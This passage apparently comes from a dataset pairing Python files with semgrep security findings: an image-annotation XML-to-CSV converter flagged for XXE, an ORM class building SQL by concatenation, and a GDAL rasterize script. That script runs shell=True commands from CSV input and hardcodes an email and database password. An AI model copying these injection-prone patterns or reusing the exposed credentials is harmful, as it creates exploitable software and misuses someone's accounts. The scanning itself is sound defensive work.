testCsvResults = xml_to_csv(TEST_IMAGES_DIR) testCsvResults.to_csv(EVAL_CSV_FILE_LOC, index=None) print("test xml to .csv conversion successful, saved result to " + EVAL_CSV_FILE_LOC) # end main ####################################################################################################################### def checkIfNecessaryPathsAndFilesExist(): if not os.path.exists(TRAINING_IMAGES_DIR): print('') print('ERROR: the training images directory "' + TRAINING_IMAGES_DIR + '" does not seem to exist') print('Did you set up the training images?') print('') return False # end if # get a list of all the .jpg / .xml file pairs in the training images directory trainingImagesWithAMatchingXmlFile = [] for fileName in os.listdir(TRAINING_IMAGES_DIR): if fileName.endswith(".JPG"): xmlFileName = os.path.splitext(fileName)[0] + ".xml" if os.path.exists(os.path.join(TRAINING_IMAGES_DIR, xmlFileName)): trainingImagesWithAMatchingXmlFile.append(fileName) # end if # end if # end for # show an error and return false if there are no images in the training directory if len(trainingImagesWithAMatchingXmlFile) <= 0: print("ERROR: there don't seem to be any images and matching XML files in " + TRAINING_IMAGES_DIR) print("Did you set up the training images?") return False # end if # show an error and return false if there are not at least 10 images and 10 matching XML files in TRAINING_IMAGES_DIR if len(trainingImagesWithAMatchingXmlFile) < MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING: print("ERROR: there are not at least " + str(MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING) + " images and matching XML files in " + TRAINING_IMAGES_DIR) print("Did you set up the training images?") return False # end if # show a warning if there are not at least 100 images and 100 matching XML files in TEST_IMAGES_DIR if len(trainingImagesWithAMatchingXmlFile) < MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING: print("WARNING: there are not at least " + str(MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING) + " images and matching XML files in " + TRAINING_IMAGES_DIR) print("At least " + str(MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING) + " image / xml pairs are recommended for bare minimum acceptable results") # note we do not return false here b/c this is a warning, not an error # end if if not os.path.exists(TEST_IMAGES_DIR): print('ERROR: TEST_IMAGES_DIR "' + TEST_IMAGES_DIR + '" does not seem to exist') return False # end if # get a list of all the .jpg / .xml file pairs in the test images directory testImagesWithAMatchingXmlFile = [] for fileName in os.listdir(TEST_IMAGES_DIR): if fileName.endswith(".JPG"): xmlFileName = os.path.splitext(fileName)[0] + ".xml" if os.path.exists(os.path.join(TEST_IMAGES_DIR, xmlFileName)): testImagesWithAMatchingXmlFile.append(fileName) # end if # end if # end for # show an error and return false if there are not at least 3 images and 3 matching XML files in TEST_IMAGES_DIR if len(testImagesWithAMatchingXmlFile) <= 3: print("ERROR: there are not at least " + str(MIN_NUM_IMAGES_REQUIRED_FOR_TESTING) + " image / xml pairs in " + TEST_IMAGES_DIR) print("Did you separate out the test image / xml pairs from the training image / xml pairs?") return False # end if return True # end function ####################################################################################################################### def xml_to_csv(path): xml_list = [] for xml_file in glob.glob(path + '/*.xml'): tree = ET.parse(xml_file) root = tree.getroot() for member in root.findall('object'): value = (root.find('filename').text, int(root.find('size')[0].text), int(root.find('size')[1].text), member[0].text, int(member[4][0].text), int(member[4][1].text), int(member[4][2].text), int(member[4][3].text)) xml_list.append(value) # end for # end for column_name = ['filename', 'width', 'height', 'class', 'xmin', 'ymin', 'xmax', 'ymax'] xml_df = pd.DataFrame(xml_list, columns=column_name) return xml_df # end function ####################################################################################################################### if __name__ == "__main__": main()
150
44.44
155
18
1,574
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_97185584b9575e32_ecf320b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/97185584b9575e32.py", "start": {"line": 10, "col": 1, "offset": 409}, "end": {"line": 10, "col": 35, "offset": 443}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_97185584b9575e32_f22a0389", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(xml_file)", "location": {"file_path": "unknown", "line_start": 134, "line_end": 134, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmpb8jm_z1l/97185584b9575e32.py", "start": {"line": 134, "col": 16, "offset": 6067}, "end": {"line": 134, "col": 34, "offset": 6085}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(xml_file)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml-parse" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 10, 134 ]
[ 10, 134 ]
[ 1, 16 ]
[ 35, 34 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The native Python `xml` library is vulnerable to XML Exter...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
xml_to_csv.py
/Pre-Processing/Augmentation_Toolkit/xml_to_csv.py
beric7/COCO-Bridge
Apache-2.0
2024-11-18T18:39:51.074795+00:00
1,585,944,162,000
50f22674d0372824148186701b8793b239bd069d
2
{ "blob_id": "50f22674d0372824148186701b8793b239bd069d", "branch_name": "refs/heads/master", "committer_date": 1585944162000, "content_id": "4bfdc473175bd89a3a37039cc196a0a0defa7d29", "detected_licenses": [ "MIT" ], "directory_id": "483caeb81061387fe1097bb6bc0e13778985c213", "extension": "py", "filename": "model.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 247104353, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6357, "license": "MIT", "license_type": "permissive", "path": "/utill/db/model.py", "provenance": "stack-edu-0054.json.gz:570106", "repo_name": "fengshukun/kcweb", "revision_date": 1585944162000, "revision_id": "313bce537818f0152a363101c91bf2eed50e9502", "snapshot_id": "5121f20ff6d97cb3e6c1c2959f844ea84cbe77eb", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/fengshukun/kcweb/313bce537818f0152a363101c91bf2eed50e9502/utill/db/model.py", "visit_date": "2021-03-18T22:07:40.258494" }
2.3125
stackv2
# -*- coding: utf-8 -*- from .mysql import mysql from .sqlite import sqlite from kcweb import config from kcweb import common class model: table=None fields={} __db=None config=config.database def __init__(self): if not self.table: self.table=self.__class__.__name__ self.__db=common.M(self.table,self.config) def create_table(self): "创建表" sqlist=[] for k in self.fields.keys(): sqlist.append(k+" "+self.fields[k]) # print(self.table) sqls="create table "+self.table+" (" for k in sqlist: sqls=sqls+k+", " sqls=sqls[:-2]+")" # print(sqls) self.__db.execute(sqls) def find(self): return self.__db.find() def select(self): lists=self.__db.select() # print(lists) return lists def insert(self,data): return self.__db.insert(data) def update(self,data): return self.__db.update(data) def startTrans(self): "开启事务,仅对 update方法、delete方法、install方法有效" self.__db.startTrans() def commit(self): """事务提交 增删改后的任务进行提交 """ self.__db.commit() def rollback(self): """事务回滚 增删改后的任务进行撤销 """ self.__db.rollback() def where(self,where = None,*wheres): """设置过滤条件 传入方式: "id",2 表示id='2' "id","in",2,3,4,5,6,...表示 id in (2,3,4,5,6,...) "id","or",2,3,4,5,6,...表示 id=2 or id=3 or id=4... [("id","gt",6000),"and",("name","like","%超")] 表示 ( id > "6000" and name LIKE "%超" ) "id","eq",1 表示 id = '1' eq 等于 neq 不等于 gt 大于 egt 大于等于 lt 小于 elt 小于等于 like LIKE """ self.__db.where(where,*wheres) return self def field(self,field = "*"): """设置过滤显示条件 参数 field:str 字符串 """ self.__db.field(field) return self __limit=[] def limit(self,offset, length = None): """设置查询数量 参数 offset:int 起始位置 参数 length:int 查询数量 """ self.__db.limit(offset, length) return self def order(self,strs=None,*strs1): """设置排序查询 传入方式: "id desc" "id",'name','appkey','asc' "id",'name','appkey' 不包含asc或desc的情况下 默认是desc ['id','taskid',{"task_id":"desc"}] """ self.__db.order(strs=None,*strs1) return self __distinct=None def distinct(self,bools=None): "用于返回唯一不同的值,配合field方法使用生效,消除所有重复的记录,并只获取唯一一次记录。" self.__db.distinct(bools) return self def deltableall(self): "删除当前数据库所有表格 mysql有效" if self.conf['type']=='mysql': a=self.__db.execute("SELECT concat('DROP TABLE IF EXISTS ', table_name, ';') FROM information_schema.tables WHERE table_schema = 'core1';") for k in a: self.__db.execute(k["concat('DROP TABLE IF EXISTS ', table_name, ';')"]) class dbtype: conf=model.config def int(LEN=16,DEFAULT=False,NULL=False,UNIQUE=False,PRI=False,A_L=False): # print(dbtype.conf['type']) if dbtype.conf['type']=='mysql': strs="INT("+str(LEN)+")" if DEFAULT: strs=strs+" DEFAULT "+str(DEFAULT) if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" if UNIQUE: strs=strs+" UNIQUE" if PRI: strs=strs+" PRIMARY KEY" if A_L: strs=strs+" AUTO_INCREMENT" else: strs="INTEGER" if DEFAULT: strs=strs+" DEFAULT "+str(DEFAULT) if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" if UNIQUE: strs=strs+" UNIQUE" if PRI: strs=strs+" PRIMARY KEY" if A_L: strs=strs+" AUTOINCREMENT" return strs def varchar(LEN=32,DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False,FULLTEXT=False): strs="VARCHAR("+str(LEN)+")" if DEFAULT: strs=strs+" DEFAULT "+str(DEFAULT) elif DEFAULT=='': strs=strs+" DEFAULT ''" if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" if UNIQUE: strs=strs+" UNIQUE" if INDEX: strs=strs+" INDEX" if FULLTEXT: strs=strs+" FULLTEXT" return strs def text(NULL=False): if dbtype.conf['type']=='mysql': strs="TEXT CHARACTER SET utf8 COLLATE utf8_general_ci" else: strs="TEXT" if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" return strs def char(LEN=16,DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False): strs=" CHAR("+str(LEN)+")" if DEFAULT: strs=strs+" DEFAULT "+str(DEFAULT) elif DEFAULT=='': strs=strs+" DEFAULT ''" if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" if UNIQUE: strs=strs+" UNIQUE" if INDEX: strs=strs+" INDEX" return strs def decimat(LEN="10,2",DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False): "小数类型" strs="DECIMAL("+str(LEN)+")" if DEFAULT: strs=strs+" DEFAULT "+str(DEFAULT) elif DEFAULT=='': strs=strs+" DEFAULT ''" if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" if UNIQUE: strs=strs+" UNIQUE" if INDEX: strs=strs+" INDEX" return strs def date(NULL=False): strs=" DATE" if NULL: strs=strs+" NULL" else: strs=strs+" NOT NULL" return strs
220
26.09
151
16
1,534
python
[{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_b70349a0fc9c0d61_33036c45", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 9, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/b70349a0fc9c0d61.py", "start": {"line": 26, "col": 9, "offset": 693}, "end": {"line": 26, "col": 32, "offset": 716}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 26 ]
[ 26 ]
[ 9 ]
[ 32 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
model.py
/utill/db/model.py
fengshukun/kcweb
MIT
2024-11-18T18:39:53.311843+00:00
1,580,852,926,000
958f46fec4a640ce0c7042179a055a7d51cecb9b
2
{ "blob_id": "958f46fec4a640ce0c7042179a055a7d51cecb9b", "branch_name": "refs/heads/master", "committer_date": 1580852926000, "content_id": "67a9ac31ba869a4a1666c09d36ee11e7b35d3f14", "detected_licenses": [ "Apache-2.0" ], "directory_id": "dd2a5af3cb7338cf434626d46be64cf76be306ce", "extension": "py", "filename": "CLUS_GDAL_Rasterize_VRI.py", "fork_events_count": 0, "gha_created_at": 1580862063000, "gha_event_created_at": 1580862064000, "gha_language": null, "gha_license_id": "Apache-2.0", "github_id": 238334889, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7845, "license": "Apache-2.0", "license_type": "permissive", "path": "/Python/VRI/CLUS_GDAL_Rasterize_VRI.py", "provenance": "stack-edu-0054.json.gz:570132", "repo_name": "ElizabethKleynhans/clus", "revision_date": 1580852926000, "revision_id": "a02aef861712ab62bb5b5877208a138e0074e365", "snapshot_id": "2eef129f192ab175c429100106349964e791da63", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ElizabethKleynhans/clus/a02aef861712ab62bb5b5877208a138e0074e365/Python/VRI/CLUS_GDAL_Rasterize_VRI.py", "visit_date": "2020-12-28T12:36:54.419886" }
2.421875
stackv2
#------------------------------------------------------------------------------- # Name: CLUS_GDAL_Rasterize_VRI # Purpose: This script is designed to read a list of input PostGIS source # Vectors and Rasterize them to GeoTiff using GDAL Rasterize and # then load them into PostGIS as rasters using raster2pgsql # # Author: Mike Fowler # Spatial Data Analyst # Forest Analysis and Inventory Branch - BC Government # Workflow developed by Kyle Lochhead, converted into Python Script # # Created: 30-01-2019 # #------------------------------------------------------------------------------- import os, sys, subprocess import shutil, getpass, datetime #--Globals global kennyloggins pfx = os.path.basename(os.path.splitext(sys.argv[0])[0]) logTime = '' def send_email(user, pwd, recipient, subject, body): import smtplib FROM = user TO = recipient if isinstance(recipient, list) else [recipient] SUBJECT = subject TEXT = body # Prepare actual message message = """From: %s\nTo: %s\nSubject: %s\n\n%s """ % (FROM, ", ".join(TO), SUBJECT, TEXT) try: #server = smtplib.SMTP("smtp.gmail.com", 587) server = smtplib.SMTP_SSL("smtp.gmail.com", 465) server.ehlo() #server.starttls() server.login(user, pwd) server.sendmail(FROM, TO, message) server.close() WriteLog(kennyloggins, 'Successfully sent the mail') except Exception as e: WriteLog(kennyloggins, "****Failed to send mail****") def WriteOutErrors(lstErrors): errLog = os.path.join(os.path.dirname(sys.argv[0]), pfx + logTime + ".errors.log") fLog = open(errLog, 'w') lstLog = [] lstLog.append("------------------------------------------------------------------\n") lstLog.append("Error Log file for {0}\n".format(sys.argv[0])) lstLog.append("Date:{0} \n".format(datetime.datetime.now().strftime("%B %d, %Y - %H%M"))) lstLog.append("User:{}\n".format(getpass.getuser())) lstLog.append("\n") lstLog.append("------------------------------------------------------------------\n") sLog = ''.join(lstLog) fLog.write(sLog) fLog.write("List of Errors from Script------------------------------------------------------------\n") for err in lstErrors: fLog.write('{0}\n'.format(str(err))) fLog.write("------------------------------------------------------------------\n") fLog.close() def CreateLogFile(bMsg=False): global logTime logTime = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") currLog = os.path.join(os.path.dirname(sys.argv[0]), pfx + datetime.datetime.now().strftime("%Y%m%d_%H%M%S.log")) fLog = open(currLog, 'w') lstLog = [] lstLog.append("------------------------------------------------------------------\n") lstLog.append("Log file for {0}\n".format(sys.argv[0])) lstLog.append("Date:{0} \n".format(datetime.datetime.now().strftime("%B %d, %Y - %H%M"))) lstLog.append("User:{}\n".format(getpass.getuser())) lstLog.append("\n") lstLog.append("------------------------------------------------------------------\n") sLog = ''.join(lstLog) fLog.write(sLog) if bMsg: print(sLog) return fLog def WriteLog(fLog, sMessage, bMsg=False): ts = datetime.datetime.now().strftime("%B %d, %Y - %H%M") sMsg = '{0} - {1}'.format(ts, sMessage) fLog.write(sMsg) if bMsg: print(sMsg) def LoadListFromCSV(inCSV): import csv processLst = [] with open(inCSV) as csv_file: csv_reader = csv.reader(csv_file, delimiter=',') line_count = 0 for row in csv_reader: if line_count == 0: pass #print(row) else: #print('{0}-{1}-{2}'.format(row[0], row[1], row[2])) processLst.append([row[0], row[1], row[2], row[3]]) line_count += 1 return processLst def Rasterize(db, sql, fld, outWrk, outName): print('Rasterize..........................') db = 'PG:"{0}"'.format(db) fld = fld.lower() outTIFF = os.path.join(outWrk, '{0}.tif'.format(outName)) sql = '"{0}"'.format(sql) print('-----{0}'.format(db)) print('-----{0}'.format(fld)) print('-----{0}'.format(outTIFF)) print('-----{0}'.format(sql)) #--Build the command to run the GDAL Rasterize cmd = 'gdal_rasterize -tr 100 100 -te 273287.5 359687.5 1870587.5 1735787.5 -a {0} {1} -sql {2} {3}'.format(fld, db, sql, outTIFF) print ('-----Running CMD:\n-----{0}'.format(cmd) ) print (outTIFF ) try: #subprocess.call(cmd, shell=True) subprocess.check_output(cmd, shell=True) except subprocess.CalledProcessError as e: print(e.output) raise Exception(str(e.output)) except : print(str(e)) raise Exception(str(e)) return outTIFF def TIFF2PostGIS(tiff, db, outName): print('TIFF2PostGIS..........................') print('-----{0}'.format(tiff)) print('-----{0}'.format(db)) print('-----{0}'.format(outName)) cmd = 'raster2pgsql -s 3005 -d -I -C -M {0} -t 100x100 {1} | psql {2}'.format(tiff, outName, db) print ('-----Running CMD:\n-----{0}'.format(cmd) ) try: #subprocess.call(cmd, shell=True) subprocess.check_output(cmd, shell=True) except subprocess.CalledProcessError as e: print(e.output) raise Exception(str(e.output)) except: print(str(e)) raise Exception(str(e)) if __name__ == '__main__': emailPwd = 'bruins26' #--Create a Log File kennyloggins = CreateLogFile(True) #--Read inputs into a Processing List inputCSV = os.path.join(os.path.dirname(sys.argv[0]), 'CLUS_GDAL_Rasterize_VRI_Input.csv') processList =LoadListFromCSV(inputCSV) errList = [] bRemoveTIFF = False bSendEmails = True #srcDB = "host='localhost' dbname = 'postgres' port='5432' user='postgres' password='postgres'" #outDB = "-d postgres" #tiffWork = r'C:\Users\mwfowler\tiff' tiffWork = r'C:\Users\KLOCHHEA' srcDB = "host='DC052586.idir.bcgov' dbname = 'clus' port='5432' user='postgres' password='postgres'" outDB = "-d clus" for itm in processList: #--Only process the input records with a PROCESS = 'Y' if itm[3].upper() == 'Y': outName = itm[0] fld = itm[1] sql = itm[2] WriteLog(kennyloggins, 'Processing:{0}\n'.format(str(itm)), True) try: WriteLog(kennyloggins, 'Running Rasterize....\n', True) #--Rasterize the source to Tiff outTIFF = Rasterize(srcDB, sql, fld, tiffWork, outName) WriteLog(kennyloggins, 'Running TIFF2PostGIS....\n', True) #--Load the TIFF to Postgres TIFF2PostGIS(outTIFF, outDB, outName) #--Delete the TIFF if flagged to do so if bRemoveTIFF: os.remove(outTIFF) if bSendEmails: send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', 'CLUS-Rasterize-Processed', '{0}\n{1}\n'.format(outDB, str(itm))) except: WriteLog(kennyloggins, 'Error: {0}\n'.format(str(e)), True) if bSendEmails: send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', '***CLUS-Rasterize-Error***', '{0}\n{1}'.format(str(itm), str(e))) errList.append(itm) if len(errList) > 0: WriteLog(kennyloggins, 'Writing out Errors......\n', True) WriteOutErrors(errList) if bSendEmails: send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', 'CLUS-Rasterize-Complete', 'The script finished\n') kennyloggins.close()
189
40.51
156
20
2,134
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_37e035776bd78f16_c0c1c811", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 12, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 46, "col": 12, "offset": 1712}, "end": {"line": 46, "col": 29, "offset": 1729}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_37e035776bd78f16_ca68ff26", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 5, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 65, "col": 5, "offset": 2733}, "end": {"line": 65, "col": 30, "offset": 2758}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_37e035776bd78f16_12019dd9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 12, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 65, "col": 12, "offset": 2740}, "end": {"line": 65, "col": 30, "offset": 2758}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_37e035776bd78f16_70b87580", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 10, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": 